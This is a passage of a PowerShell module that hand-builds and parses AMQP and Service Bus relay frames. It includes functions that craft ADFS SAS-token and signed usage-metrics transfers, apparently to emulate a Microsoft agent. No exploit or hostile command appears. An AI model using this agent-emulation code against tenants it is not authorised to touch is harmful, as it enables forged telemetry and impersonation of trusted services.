$p=$Pos.Value $retVal = @() # Size $size = $Bytes[$p++] # Number of elements $elements = $Bytes[$p++] # Type $type = $Bytes[$p++] for($a = 0 ; $a -lt $elements ; $a++) { # Array elements does not have type (except for the first one) $p-- $Bytes[$p]=$type $retVal += Parse-AMQPItem -Bytes $Bytes -Pos ([ref]$p) } $Pos.Value = $p return $retVal } } # Parses a AMQP list from the given byte array # Mar 12th 2020 function Parse-AMQPMap { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Bytes, [Parameter(Mandatory=$True)] [ref]$Pos ) Process { $p=$Pos.Value $p-- # Check the list type switch($Bytes[$p++]) { 0xC1 { $size = $Bytes[$p++] $intSize = 1 } 0xD1 { $size = [BitConverter]::ToUInt16($bytes[$($p+3)..$($p)],0) $p += 4 $intSize = 4 } } $max = $p + $size # Next int indicates the number of the items so increase position by the size of the int $p += $intSize $retVal = @() # Loop through the items while($p -lt $max) { $key = Parse-AMQPItem -Bytes $Bytes -Pos ([ref]$p) $value = Parse-AMQPItem -Bytes $Bytes -Pos ([ref]$p) $retVal = @{ $key = $value } } $Pos.Value=$p return $retVal } } # Returns a SASL Init message # Mar 10th 2020 function New-SASLInit { [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [ValidateSet('EXTERNAL','MSSBCBS','PLAIN','ANONYMOUS')] [String]$Mechanics="EXTERNAL" ) Process { # Get the ascii bytes of the selected mechanics $mechBytes = [text.encoding]::ASCII.getBytes($Mechanics) $array = @( 0xC0, # Array [byte]($mechBytes.length + 5), # Length of the Array 0x03, # Number of elements 0xA3, # Symbol [byte]$mechBytes.length) # Length of the mechanics string $array += $mechBytes # The mechanics string $array += @( 0x40, # The initial response ($null) 0x40) # The hostname ($null) # Construct the message $message = @( # The length of the whole message [BitConverter]::GetBytes([Uint32]($mechBytes.length+18))[3..0]) $message += @( 0x02, # DOFF = 2 0x01, # Message type = SASL 0x00, # 0x00, # 0x00, # 0x53, # SmallULong 0x41) # SASL Init $message += $array # The array return $message } } # Returns an AMQP Open message # Mar 10th 2020 function New-AMQPOpen { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$ContainerId, [Parameter(Mandatory=$True)] [String]$HostName ) Process { # Get the ascii bytes of the strings $idByt = [text.encoding]::ASCII.getBytes($ContainerId) $idS=$idByt.Length $hostByt = [text.encoding]::ASCII.getBytes($HostName) $hostS=$hostByt.Length $array = @( 0xC0, # Array [byte]($ids+$hostS + 19), # Length of the Array 0x0A, # Number of elements 0xA1, # UTF-8 [byte]$ids) # Length of the ContainerId string $array += $idByt # The ContainerId string $array += @( 0xA1, # UTF-8 [byte]$hostS) # Length of the ContainerId string $array += $hostByt # The ContainerId string $array += @( 0x70, # UINT 32 bit 0x00,0x01,0x00, 0x00, # Max Frame Size = 65536 0x60, # UShort 16 bit 0x1F, 0xFF, # Channel Max = 8191 0x40, # Idle timeout in millis. ($null) 0x40, # Outgoing locales ($null) 0x40, # Incoming locales ($null) 0x40, # Offered capabilities ($null) 0x40, # Desired capabilities ($null) 0x40) # Properties ($null) # Construct the message $message = @( # The length of the whole message [BitConverter]::GetBytes([Uint32]($array[1]+13))[3..0]) $message += @( 0x02, # DOFF = 2 0x00, # Message type = AMQP 0x00, # 0x00, # 0x00, # 0x53, # SmallULong 0x10) # AMQP Open $message += $array # The array return $message } } # Returns an AMQP Open message # Mar 10th 2020 function New-AMQPBegin { [cmdletbinding()] Param() Process { # Construct the message $message = [byte[]]@( 0x00, 0x00, 0x00, 0x23, # Length of the message 0x02, # DOFF = 2 0x00, # Message type = AMQP 0x00, # 0x00, # 0x00, # 0x53, # SmallULong 0x11, # AMQP Begin 0xC0, # Array 0x16, # Array length 0x08, # Array items 0x40, # Remote Channel ($null) 0x52, # Small Uint 0x01, # Next outgoing Id 0x70, # UInt 32 0x00, 0x00, 0x13, 0x88, # Incoming Window = 5000 0x70, # UInt 32 0x00, 0x00, 0x13, 0x88, # Outgoing Window = 5000 0x70, # UInt 32 0x00, 0x03, 0xFF, 0xFF, # Handle max = 262143 0x40, # Offered capabilities ($null) 0x40, # Desired capabilities ($null) 0x40) # Properties ($null) return $message } } # Returns an AMQP Attach message # Mar 11th 2020 function New-AMQPAttach { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte]$Handle, [Parameter(Mandatory=$True)] [PSObject]$BootStrap, [Parameter(Mandatory=$True)] [String]$RelayLinkGuid, [Parameter(Mandatory=$True)] [ValidateSet('in','out')] [String]$Direction, [Parameter(Mandatory=$True)] [String]$TrackingID ) Process { # Define variables $name = "RelayLink_$($RelayLinkGuid):$($Direction)" $url = "://$($BootStrap.Namespace).servicebus.windows.net/$($BootStrap.ServicePath)/" $target = "sb$url" # Calculate SAS Token $sasUrl = "http$url" $SASToken = Get-SASToken -Url $sasUrl -Key $BootStrap.SharedAccessKey -KeyName $BootStrap.SharedAccessKeyName # Get the bytes of the strings $bName= [text.encoding]::UTF8.GetBytes($name) $bTarget= [text.encoding]::UTF8.GetBytes($target) $bSwt= [text.encoding]::ASCII.GetBytes("com.microsoft:swt") $bSAS= [text.encoding]::UTF8.GetBytes($SASToken) $bClientAgent= [text.encoding]::ASCII.GetBytes("com.microsoft:client-agent") $bClientAgentString= [text.encoding]::UTF8.GetBytes("ServiceBus/3.0.51093.14;") $bDynamicRelay= [text.encoding]::ASCII.GetBytes("com.microsoft:dynamic-relay") $bListenerType= [text.encoding]::ASCII.GetBytes("com.microsoft:listener-type") $bRelayedConnection= [text.encoding]::UTF8.GetBytes("RelayedConnection") $bTrackingId= [text.encoding]::ASCII.GetBytes("com.microsoft:tracking-id") $bTrackingIdString = [text.encoding]::UTF8.GetBytes($TrackingId.ToString()) # Calculate the combined length $strLen = $bName.length + $bTarget.length + $bSwt.length + $bSAS.length + $bClientAgent.length + ` $bClientAgentString.length + $bDynamicRelay.length + $bListenerType.length + ` $bRelayedConnection.length + $bTrackingId.length + $bTrackingIdString.length # Set the handle if($Handle -gt 0) { $bHandle=(0x52, # smallUint $Handle) # handle value } else { $bHandle+=@(0x43) # Handle = 0, UInt 8 } # Set the role if($Direction -eq "in") { $bRole=0x41 } else { $bRole=0x42 } # Construct the message $message = [byte[]]@(([BitConverter]::GetBytes([uint32]($strLen + 91 +($bHandle.Length - 1))))[3..0]) # Length of the frame $message+=@(0x02, # DOFF = 2 0x00, # Message type = AMQP 0x00, # 0x00, # 0x00, # 0x53, # SmallULong 0x12, # AMQP Attach 0xD0) # List $message+=@(([BitConverter]::GetBytes([uint32]($strLen + 75 +($bHandle.Length - 1))))[3..0] 0x00, 0x00, 0x00, 0x0E, # Number of elements 0xA1, # String $bName.length) # String length $message+=@($bName) # Name $message+=@($bHandle) # Handle $message+=@($bRole, # Role (False) = Sender 0x40, # snd-settle-mode ($null) 0x40, # rcv-settle-mode ($null) 0x00, # Source (0x00) 0x53, # SmallULong 0x28) # (0x28 = 40) if($Direction -eq "in") { $message+=@(0xC0, # List ($bTarget.length + 13), # Array Length 0x0B, # ? 0xA1, # String $bTarget.length) # Length $message+=@($bTarget) # Target $message+=@(0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40) # ? (belongs to the array) $message+=@(0x00, # ? 0x53, # SmallULong 0x29, # (0x29 = 41) 0xC0, # List 0x08, # List Length 0x07, # List items 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40) # ? } else { $message+=@(0xC0, # List 0x0C, # List Length (0x0c = 12) 0x0b, # List elements 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x00, # 0x53, # SmallULong 0x29, # (0x29 = 41) 0xC0, # Array ($bTarget.length + 9), # Array Length 0x07, # ? 0xA1, # String $bTarget.length) # Length $message+=@($bTarget) # Target $message+=@(0x40, 0x40, 0x40, 0x40, 0x40, 0x40) # ? (belongs to the array) } $message+=@(0x40, 0x40, 0x40, 0x40, 0x40, 0x40, # ? 0xD1) # Map (unsettled) # Length of the map: $message+=@(([BitConverter]::GetBytes([uint32]($strLen - $bName.length - $bTarget.length + 23)))[3..0]) $message+=@(0x00, 0x00, 0x00, 0x0A # ? 0xA3, # Symbol $bSwt.length) # Length $message+=@($bSwt) # com.microsoft:swt $message+=@(0xA1, # String $bSAS.length) # Length $message+=@($bSAS) # SASToken $message+=@(0xA3, # Symbol $bClientAgent.length) # Length $message+=@($bClientAgent) # com.microsoft:client-agent $message+=@(0xA1, # String $bClientAgentString.length) # Length $message+=@($bClientAgentString) # ServiceBus/3.0.51093.14 $message+=@(0xA3, # Symbol $bDynamicRelay.length) # Length $message+=@($bDynamicRelay) # com.microsoft:dynamic-relay $message+=@(0x42) # False $message+=@(0xA3, # Symbol $bListenerType.length) # Length $message+=@($bListenerType) # com.microsoft:client-agent $message+=@(0xA1, # String $bRelayedConnection.length) # Length $message+=@($bRelayedConnection) # RelayedConnection $message+=@(0xA3, # Symbol $bTrackingId.length) # Length $message+=@($bTrackingId) # com.microsoft:tracking-id $message+=@(0xA1, # String $bTrackingIdString.length) # Length $message+=@($bTrackingIdString) # GUID return [byte[]]$message } } # Returns an AMQP Attach message # May 28th 2021 function New-AMQPAttachADFS { [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [byte]$Handle=0, [Parameter(Mandatory=$True)] [ValidateSet('in','out')] [String]$Direction, [Parameter(Mandatory=$True)] [String]$Name, [Parameter(Mandatory=$True)] [String]$Target, [Parameter(Mandatory=$False)] [String]$Source ) Process { # Get the bytes of the strings $bName= [text.encoding]::UTF8.GetBytes($Name) $bTarget= [text.encoding]::UTF8.GetBytes($Target) $bSource= [text.encoding]::UTF8.GetBytes($Source) # Calculate the combined length $strLen = $bName.length + $bTarget.length +$bSource.length #if($bSource.length -gt 0) #{ # $strLen+=1 # 0xA1 #} # Set the handle if($Handle -gt 0) { $bHandle=(0x52, # smallUint $Handle) # handle value } else { $bHandle+=@(0x43) # Handle = 0, UInt 8 } # Set the role if($Direction -eq "in") { $bRole=0x41 # true } else { $bRole=0x42 # false } # Construct the message $message = [byte[]]@(([BitConverter]::GetBytes([uint32]($strLen + 90 +($bHandle.Length - 1))))[3..0]) # Length of the frame $message+=@(0x02, # DOFF = 2 0x00, # Message type = AMQP 0x00, # 0x00, # 0x00, # 0x53, # SmallULong 0x12) # AMQP Attach $message+=@(0xC0, # List ($strLen+78+($bHandle.Length - 1)), # Length 0x0E, # Number of elements 0xA1, # String $bName.length) # String length $message+=@($bName) # 1. Name $message+=@($bHandle) # 2. Handle $message+=@($bRole) # 3. Role (False) = Sender if($Direction -eq "in") { $message+=@(0x50, # uByte 0x01, # 4. snd-settle-mode 1 = settled 0x40) # 5. rcv-settle-mode ($null) # 6. source $message+=@(0x00) # Constructor $message+=@(0x53, # SmallULong 0x28, # (0x28 = 40) 0xC0) # List if($bSource.length -gt 0) { $message+=@((0x0E + $bSource.length -1), # List Length 0x0B, # List elements 0xA1, # String $bSource.length) # String length $message+=$bSource $message+=@(0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40) # nulls } else { $message+=@(0x0C, # List Length 0x0B) # List elements $message+=@(0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40) # nulls } # 7. target $message+=@(0x00, # Constructor 0x53, # SmallULong 0x29, # (0x29 = 41) 0xC0, # List (0x09 + $bTarget.length), # List Length 0x07, # List items 0xA1, # String $bTarget.length) # String length $message+=$bTarget $message+=@(0x40, 0x40, 0x40, 0x40, 0x40, 0x40) # nulls } else { $message+=@(0x50, # uByte 0x01, # 4. snd-settle-mode 1 = settled 0x40) # 5. rcv-settle-mode ($null) # 6. source $message+=@(0x00, # Constructor 0x53, # SmallULong 0x28, # (0x28 = 40) 0xC0, # List (0x0D + $bSource.length), # List Length 0x0B, # List elements 0xA1, # String $bSource.length) # String length $message+=$bSource $message+=@(0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40) # nulls # 7. target $message+=@(0x00, # Constructor 0x53, # SmallULong 0x29, # (0x29 = 41) 0xC0, # List (0x09 + $bTarget.length), # List Length 0x07, # List items 0xA1, # String $bTarget.length) # String length $message+=$bTarget $message+=@(0x40, 0x40, 0x40, 0x40, 0x40, 0x40) # nulls } $message+=@(0x40, # 8. incomplete-unsettled 0x40, # 9. incomplete-unsettled 0x40, # 10. initial-delivery-count 0x40, # 11. max-message-size 0x40, # 12. offered-capabilities 0x40) # 13. desired-capabilities # 14. properties $message+=$(0xC1, # Map 0x1D, # Length 0x02, # Elements 0xA3, # Symbol 0x15) # Length $message+=[text.encoding]::ASCII.GetBytes("com.microsoft:timeout") $message+=@(0x70, # uint 0x00, 0x01, 0x11, 0x50) return [byte[]]$message } } # Returns an AMQP Attach message2 # May 29th 2021 function New-AMQPAttachADFS2 { [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [byte]$Handle=0, [Parameter(Mandatory=$True)] [String]$Name, [Parameter(Mandatory=$True)] [String]$Target ) Process { # Get the bytes of the strings $bName= [text.encoding]::UTF8.GetBytes($Name) $bTarget= [text.encoding]::UTF8.GetBytes($Target) # Calculate the combined length $strLen = $bName.length + $bTarget.length # Set the handle if($Handle -gt 0) { $bHandle=(0x52, # smallUint $Handle) # handle value } else { $bHandle+=@(0x43) # Handle = 0, UInt 8 } # Construct the message $message = [byte[]]@(([BitConverter]::GetBytes([uint32]($strLen + 148 +($bHandle.Length - 1))))[3..0]) # Length of the frame $message+=@(0x02, # DOFF = 2 0x00, # Message type = AMQP 0x00, # 0x00, # 0x00, # 0x53, # SmallULong 0x12) # AMQP Attach $message+=@(0xC0, # List ($strLen+135+($bHandle.Length - 1)), # Length 0x0E, # Number of elements 0xA1, # String $bName.length) # String length $message+=@($bName) # 1. Name $message+=@($bHandle) # 2. Handle $message+=@(0x42, # 3. Role (False) = Sender 0x40, # 4. snd-settle-mode ($null) 0x40, # 5. rcv-settle-mode ($null) 0x40) # 6. sender # 7. target $message+=@(0x00, # Constructor 0x53, # SmallULong 0x29, # (0x29 = 41) 0xC0, # List (0x09 + $bTarget.length), # List Length 0x07, # List items 0xA1, # String $bTarget.length) # String length $message+=$bTarget $message+=@(0x40, 0x40, 0x40, 0x40, 0x40, 0x40) # nulls $message+=@(0x40, # 8. incomplete-unsettled 0x40, # 9. incomplete-unsettled 0x43, # 10. initial-delivery-count 0x40, # 11. max-message-size 0x40, # 12. offered-capabilities 0x40) # 13. desired-capabilities # 14. properties $message+=$(0xC1, # Map 0x69, # Length 0x06, # Elements 0xA3, # Symbol 0x15) # Length $message+=[text.encoding]::ASCII.GetBytes("com.microsoft:timeout") $message+=@(0x70, # uint 0x00, 0x01, 0x10, 0x37) $message+=@(0xA3, # Symbol 0x2C) # Symbol length $message+=[text.encoding]::ASCII.GetBytes("com.microsoft:get-runtime-entity-description") $message+=@(0x41) # True $message+=@(0xA3, # Symbol 0x19) # Symbol length $message+=[text.encoding]::ASCII.GetBytes("com.microsoft:entity-type") $message+=@(0x54, # Small int 0x07) # 7 return [byte[]]$message } } # Returns an AMQP Transfer message for ADFS SAS # May 29th 2021 function New-AMQPTransferADFSSAS { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte]$Handle, [Parameter(Mandatory=$True)] [String]$Name, [Parameter(Mandatory=$True)] [String]$Id, [Parameter(Mandatory=$True)] [String]$SharedAccessSignature ) Process { # Parse the expiration time from SAS $s=$sharedAccessSignature.IndexOf("se=")+3 $e=$sharedAccessSignature.IndexOf("&",$s) [uint64]$expires = [uint64]$sharedAccessSignature.Substring($s,$e-$s) # Set the handle if($Handle -gt 0) { $bHandle=(0x52, # smallUint $Handle) # handle value } else { $bHandle+=@(0x43) # Handle = 0, UInt 8 } # Construct the message $message = [byte[]][BitConverter]::GetBytes([uint32](188 + $sharedAccessSignature.Length + $name.Length +($bHandle.Length - 1)))[3..0] # Length of the frame $message+=@(0x02, # DOFF = 2 0x00, # Message type = AMQP 0x00, # 0x00, # 0x00, # 0x53, # SmallULong 0x14, # AMQP Transfer 0xC0, # List (0x0D+$bHandle.Length - 1), # Length 0x0B) # Number of elements $message+= ($bHandle) # 1. handle $message+=@(0x43, # 2. delivery-id 0xA0, # binary 0x00, # binary length 3. delivery-tag 0x43, # 4. message-format = 0 0x41, # 5. settled = true 0x42, # 6. more = false 0x40, # 7. rcv-settle-mode 0x40, # 8. state 0x40, # 9. resume 0x40, # 10. aborted 0x42) # 11. batchable = false $message+=@(0x00, # Constructor 0x53, # SmallULong 0x73, # AMQP properties list 0xC0, # List 0x38, # List length 0x0D, # Elements # 1. message-id 0xA1, # String 0x08) # String length $message+=[text.encoding]::ASCII.GetBytes("request1") $message+=@(0x40, # 2. user-id 0x40, # 3. to 0x40, # 4. subject # 5. reply-to 0xA1, # String 0x20) # String length $message+=[text.encoding]::ASCII.GetBytes($id) $message+=@(0x40, # 6. correlation-id 0x40, # 7. content-type 0x40, # 8. content-encoding 0x40, # 9. absolute-expiry-time 0x40, # 10. creation-time 0x40, # 11. group-id 0x40, # 12. group-sequence 0x40) # 13. reply-to-group-id $message+=@(0x00, # Constructor 0x53, # SmallULong 0x74, # AMQP application properties 0xC1, # Map 0xD0, # Map length 0x08) # Map elements $message+=@(0xA1, # String 0x09) # String length $message+=[text.encoding]::ASCII.GetBytes("operation") $message+=@(0xA1, # String 0x09) # String length $message+=[text.encoding]::ASCII.GetBytes("put-token") $message+=@(0xA1, # String 0x04) # String length $message+=[text.encoding]::ASCII.GetBytes("type") $message+=@(0xA1, # String 0x1F) # String length $message+=[text.encoding]::ASCII.GetBytes("servicebus.windows.net:sastoken") $message+=@(0xA1, # String 0x04) # String length $message+=[text.encoding]::ASCII.GetBytes("name") $message+=@(0xA1, # String $name.Length) # String length $message+=[text.encoding]::ASCII.GetBytes($name) $message+=@(0xA1, # String 0x0A) # String length $message+=[text.encoding]::ASCII.GetBytes("expiration") $message+=@(0x83) # Date $message+=[System.BitConverter]::GetBytes( $expires * 1000)[7..0] $message+=@(0x00, # Constructor 0x53, # SmallULong 0x77, # AMQP value 0xA1, # String $sharedAccessSignature.Length) # String length $message+=[text.encoding]::ASCII.GetBytes($sharedAccessSignature) return [byte[]]$message } } # Returns an AMQP Transfer message for ADFS insights # May 29th 2021 function New-AMQPTransferADFSInsights { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte]$Handle, [Parameter(Mandatory=$True)] [guid]$MachineId, [Parameter(Mandatory=$True)] [guid]$TenantId, [Parameter(Mandatory=$True)] [guid]$ServiceId, [Parameter(Mandatory=$False)] [guid]$CorrelationId = (New-Guid), [Parameter(Mandatory=$True)] [string]$BlobUri, [Parameter(Mandatory=$True)] [datetime]$SigningTime, [Parameter(Mandatory=$True)] [string]$HmacSignature, [Parameter(Mandatory=$False)] [byte[]]$Data ) Process { # Set the handle if($Handle -gt 0) { $bHandle=(0x52, # smallUint $Handle) # handle value } else { $bHandle+=@(0x43) # Handle = 0, UInt 8 } $bid = $TenantId.ToByteArray() $bTenantId = $bid[3..0] + $bid[5..4] + $bid[7..6] + $bid[8..9] + $bid[10..15] $bid = $MachineId.ToByteArray() $bMachineId = $bid[3..0] + $bid[5..4] + $bid[7..6] + $bid[8..9] + $bid[10..15] $bid = $ServiceId.ToByteArray() $bServiceId = $bid[3..0] + $bid[5..4] + $bid[7..6] + $bid[8..9] + $bid[10..15] $bid = $CorrelationId.ToByteArray() $bCorrelationId = $bid[3..0] + $bid[5..4] + $bid[7..6] + $bid[8..9] + $bid[10..15] # Construct the message $message = [byte[]][BitConverter]::GetBytes([uint32](338 + $BlobUri.Length + $HmacSignature.Length +$Data.Length +($bHandle.Length - 1)))[3..0] # Length of the frame $message+=@(0x02, # DOFF = 2 0x00, # Message type = AMQP 0x00, # 0x00, # 0x00, # 0x53, # SmallULong 0x14, # AMQP Transfer 0xC0, # List (0x11+$bHandle.Length - 1), # Length 0x0B) # Number of elements $message+= ($bHandle) # 1. handle $message+=@(0x43, # 2. delivery-id 0xA0, # binary 0x04, # binary length 3. delivery-tag 0x01, 0x00, 0x00, 0x00, 0x43, # 4. message-format = 0 0x40, # 5. settled = null 0x42, # 6. more = false 0x40, # 7. rcv-settle-mode 0x40, # 8. state 0x40, # 9. resume 0x40, # 10. aborted 0x41) # 11. batchable = true $message+=@(0x00, # Constructor 0x53, # SmallULong 0x74, # AMQP application properties 0xD1) # Map $message+=[bitconverter]::GetBytes([uint32]295 + $BlobUri.Length + $HmacSignature.Length)[3..0] # Map length $message+=[bitconverter]::GetBytes([uint32]0x16 )[3..0] # Map elements $message+=@(0xA1, # String 0x0D) # String length $message+=[text.encoding]::ASCII.GetBytes("CorrelationId") $message+=@(0x98) # UUID $message+=$bCorrelationId $message+=@(0xA1, # String 0x07) # String length $message+=[text.encoding]::ASCII.GetBytes("UrlType") $message+=@(0xA1, # String 0x04) # String length $message+=[text.encoding]::ASCII.GetBytes("Blob") $message+=@(0xA1, # String 0x0A) # String length $message+=[text.encoding]::ASCII.GetBytes("ConfigType") $message+=@(0xA1, # String 0x0C) # String length $message+=[text.encoding]::ASCII.GetBytes("InsightsData") $message+=@(0xA1, # String 0x08) # String length $message+=[text.encoding]::ASCII.GetBytes("TenantId") $message+=@(0x98) # UUID $message+=$bTenantId $message+=@(0xA1, # String 0x09) # String length $message+=[text.encoding]::ASCII.GetBytes("ServiceId") $message+=@(0x98) # UUID $message+=$bServiceId $message+=@(0xA1, # String 0x09) # String length $message+=[text.encoding]::ASCII.GetBytes("MachineId") $message+=@(0x98) # UUID $message+=$bMachineId $message+=@(0xA1, # String 0x10) # String length $message+=[text.encoding]::ASCII.GetBytes("MonitorEventName") $message+=@(0xA1, # String 0x11) # String length $message+=[text.encoding]::ASCII.GetBytes("Adfs-UsageMetrics") $message+=@(0xA1, # String 0x0F) # String length $message+=[text.encoding]::ASCII.GetBytes("BlobAbsoluteUri") $message+=@(0x00, # Constructor 0xA3, # Symbol 0x11) # Symbol length $message+=[text.encoding]::ASCII.GetBytes("com.microsoft:uri") $message+=@(0xA1, # String $BlobUri.Length) # String length $message+=[text.encoding]::ASCII.GetBytes($BlobUri) $message+=@(0xA1, # String 0x0E) # String length $message+=[text.encoding]::ASCII.GetBytes("DataCompressed") $message+=@(0x41) # True #$message+=@(0x42) # False $message+=@(0xA1, # String 0x0E) # String length $message+=[text.encoding]::ASCII.GetBytes("SigningUtcTime") $message+=@(0x83) # Date $message+=[System.BitConverter]::GetBytes(([uint64](($SigningTime).ToUniversalTime() - $epoch).TotalSeconds)*1000)[7..0] $message+=@(0xA1, # String 0x0D) # String length $message+=[text.encoding]::ASCII.GetBytes("HmacSignature") $message+=@(0xA1, # String $HmacSignature.Length) # String length $message+=[text.encoding]::ASCII.GetBytes($HmacSignature) $message+=@(0x00, # Constructor 0x53, # SmallULong 0x75, # AMQP data 0xA0, # Binary $Data.Length) # Binary length if($Data.Length -gt 0) { $message+=$Data } return [byte[]]$message } } # Returns an AMQP Open message # Mar 11th 2020 function New-AMQPFlow { [cmdletbinding()] Param() Process { # Construct the message $message = [byte[]]@( 0x00, 0x00, 0x00, 0x25, # Length of the message 0x02, # DOFF = 2 0x00, # Message type = AMQP 0x00, # 0x00, # 0x00, # 0x53, # SmallULong 0x13, # AMQP Flow 0xC0, # Array 0x18, # Array length 0x0B, # Array items 0x52, # Small Uint 0x01, # Next incoming Id 0x70, # UInt 32 0x00, 0x00, 0x13, 0x88, # Incoming Window = 5000 0x52, # Small Uint 0x01, # Next outgoing Id 0x70, # UInt 32 0x00, 0x00, 0x13, 0x88, # Outgoing Window = 5000 0x52, # Small Uint 0x01, # Handle (=1) 0x43, # UInt Delivery count = 0 0x52, # uint 0x32, # Link credit = 50 #0x70, # UInt 32 #0x00, 0x00, 0x03, 0xE8, # Link credit = 1000 0x43, # UInt Available count = 0 0x40, # Drain ($null) 0x42, # Echo ($false) 0x40) # Properties ($null) return $message } } # Returns an AMQP Detach message # Mar 11th 2020 function New-AMQPDetach { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte]$Handle ) Process { # Set the handle if($Handle -gt 0) { $bHandle=(0x52, # smallUint $Handle) # handle value } else { $bHandle+=@(0x43) # Handle = 0, UInt 8 } # Construct the message $message= @(0x00, 0x00, 0x00, (17+($bHandle.Length - 1)), # Length of the frame (will be set later) 0x02, # DOFF = 2 0x00, # Message type = AMQP 0x00, # 0x00, # 0x00, # 0x53, # SmallULong 0x16, # AMQP Detach 0xC0, # List (0x04+$bHandle.Length - 1),# Size 0x03) # Elements $message+=@($bHandle) $message+=@(0x41, # Closed ($true) 0x40) # Error ($null) return [byte[]]$message } } # Returns an AMQP End message # Mar 11th 2020 function New-AMQPEnd { [cmdletbinding()] Param() Process { # Construct the message $message= @(0x00, 0x00, 0x00, 0x0F, # Length of the frame (will be set later) 0x02, # DOFF = 2 0x00, # Message type = AMQP 0x00, # 0x00, # 0x00, # 0x53, # SmallULong 0x17, # AMQP End 0xC0, # List 0x02, # Size 0x01, # Elements 0x40) # Error ($null) return [byte[]]$message } } # Returns an AMQP Close message # Mar 11th 2020 function New-AMQPClose { [cmdletbinding()] Param() Process { # Construct the message $message= @(0x00, 0x00, 0x00, 0x0F, # Length of the frame 0x02, # DOFF = 2 0x00, # Message type = AMQP 0x00, # 0x00, # 0x00, # 0x53, # SmallULong 0x18, # AMQP Close 0xC0, # List 0x02, # Size 0x01, # Elements 0x40) # Error ($null) return [byte[]]$message } } # Returns an AMQP Disposition message # Mar 11th 2020 function New-AMQPDisposition { [cmdletbinding()] Param() Process { # Construct the message $message= @(0x00, 0x00, 0x00, 0x17, # Length of the frame 0x02, # DOFF = 2 0x00, # Message type = AMQP 0x00, # 0x00, # 0x00, # 0x53, # SmallULong 0x15, # AMQP Disposition 0xC0, # List 0x0A, # Size 0x06, # Elements 0x41, # Role ($true = Receiver) 0x43, # First (0) 0x40, # Last ($null), 0x41, # Settled ($true), 0x00, 0x53, 0x24, # State (0x24) 0x45, # State value (empty list) 0x40) # Batchable ($null) return [byte[]]$message } } # "Parses" the relay messages # Mar 16th 2020 function Parse-RelayMessage { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Bytes #[Parameter(Mandatory=$True)] #[ref]$Pos ) Process { $p=0 $content = @() # First parse the strings and guids while($p -lt $Bytes.Length) { $curByte=$Bytes[$p++] # Something #if($curByte -eq 0x56) #{ # $length=$Bytes[$p] # $p+=$length #} # Strings if(($curByte -eq 0x99 -and $bytes[$p] -lt 0xC8) -or $curByte -eq 0x3F -or ($curByte -eq 0x40 -and $bytes[$p] -lt 0x80) -or ($curByte -eq 0x02 -and $bytes[$p] -eq 0x02))# -or ($curByte -eq 0x42 -and ($bytes[$p]+$p -lt $bytes.Length -and $bytes[$p] -gt 20))) { # If 0x02, move to next one if($Bytes[$($p-1)] -eq 0x02 -and $curByte -eq 0x02){$p++} # Get the string length and bytes $strLen = $Bytes[$p++] $stringBytes = $Bytes[$p..$($p+$strLen-1)] # Convert to string $str=[text.encoding]::UTF8.GetString($stringBytes) $content+=$str $p+=$strLen # OnewaySend message hack: Get the relay ip address if($str -eq "HttpsAddress") { $ip="$($Bytes[$p+1]).$($Bytes[$p+2]).$($Bytes[$p+3]).$($Bytes[$p+4])" $content += $ip } } # Guid elseif($curByte -eq 0xAD) { [byte[]]$bGuid = $Bytes[$p..$($p+15)] $content += ([guid]$bGuid).ToString() $p+=16 } } # Construct the message $message = New-Object PSObject $message | Add-Member -NotePropertyName "Size" -NotePropertyValue $Bytes.Length $message | Add-Member -NotePropertyName "Type" -NotePropertyValue "Relay" if($content.Count -gt 16 -and $content[0] -eq "OnewaySend") { # This is a OnewaySend message $message.Type="OnewaySend" $message | Add-Member -NotePropertyName "RelayName" -NotePropertyValue $content[2] $message | Add-Member -NotePropertyName "Container" -NotePropertyValue $content[3] $message | Add-Member -NotePropertyName "RelayId" -NotePropertyValue $content[8] $message | Add-Member -NotePropertyName "RelayIp" -NotePropertyValue $content[14] $message | Add-Member -NotePropertyName "RelayAddress" -NotePropertyValue $content[17] if($message.RelayAddress -eq $null) { $message.RelayAddress = $content[16] } } elseif($Bytes.Length -eq 4 -and $Bytes[0] -eq 0x98) { $message.type="Relay ConnectReply" } elseif($content.Count -eq 1) { if($content[0] -eq "RelayedAcceptReply") { $message.type="Relay AcceptReply" } elseif($content[0].StartsWith("sb://")) { $message.type="Relay Name" $message | Add-Member -NotePropertyName "Relay" -NotePropertyValue $content[0] } } elseif($content.Count -eq 2) { if($content[0] -eq "Ping") { $message.type="Relay Ping" } else { $message.type="Relay NetRemoteReply" $message | Add-Member -NotePropertyName "Id" -NotePropertyValue $content[0] } } elseif($content.Count -eq 3) { $message.type="Relay Ids" $message | Add-Member -NotePropertyName "SequenceId" -NotePropertyValue $content[2] $message | Add-Member -NotePropertyName "Relay" -NotePropertyValue $content[1] $message | Add-Member -NotePropertyName "SomeId" -NotePropertyValue $content[0] } elseif($content.Count -gt 10) { $message.type="Relay ProxyConnect" $message | Add-Member -NotePropertyName "ProxyUrl" -NotePropertyValue $content[8] $message | Add-Member -NotePropertyName "ProxyId" -NotePropertyValue $content[10] $message | Add-Member -NotePropertyName "SomeId2" -NotePropertyValue $content[1] $message | Add-Member -NotePropertyName "ConId" -NotePropertyValue $content[0] $message | Add-Member -NotePropertyName "ConnectionId" -NotePropertyValue $content[12] } return $message } } # Returns a Relay Connect message # Mar 17th 2020 function New-RelayConnect { [cmdletbinding()] Param() Process { # Construct the message $message= @(0x1E, 0x01, 0x00, 0x00) return [byte[]]$message } } # Returns a Relay Accept message # Mar 17th 2020 function New-RelayAccept { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] 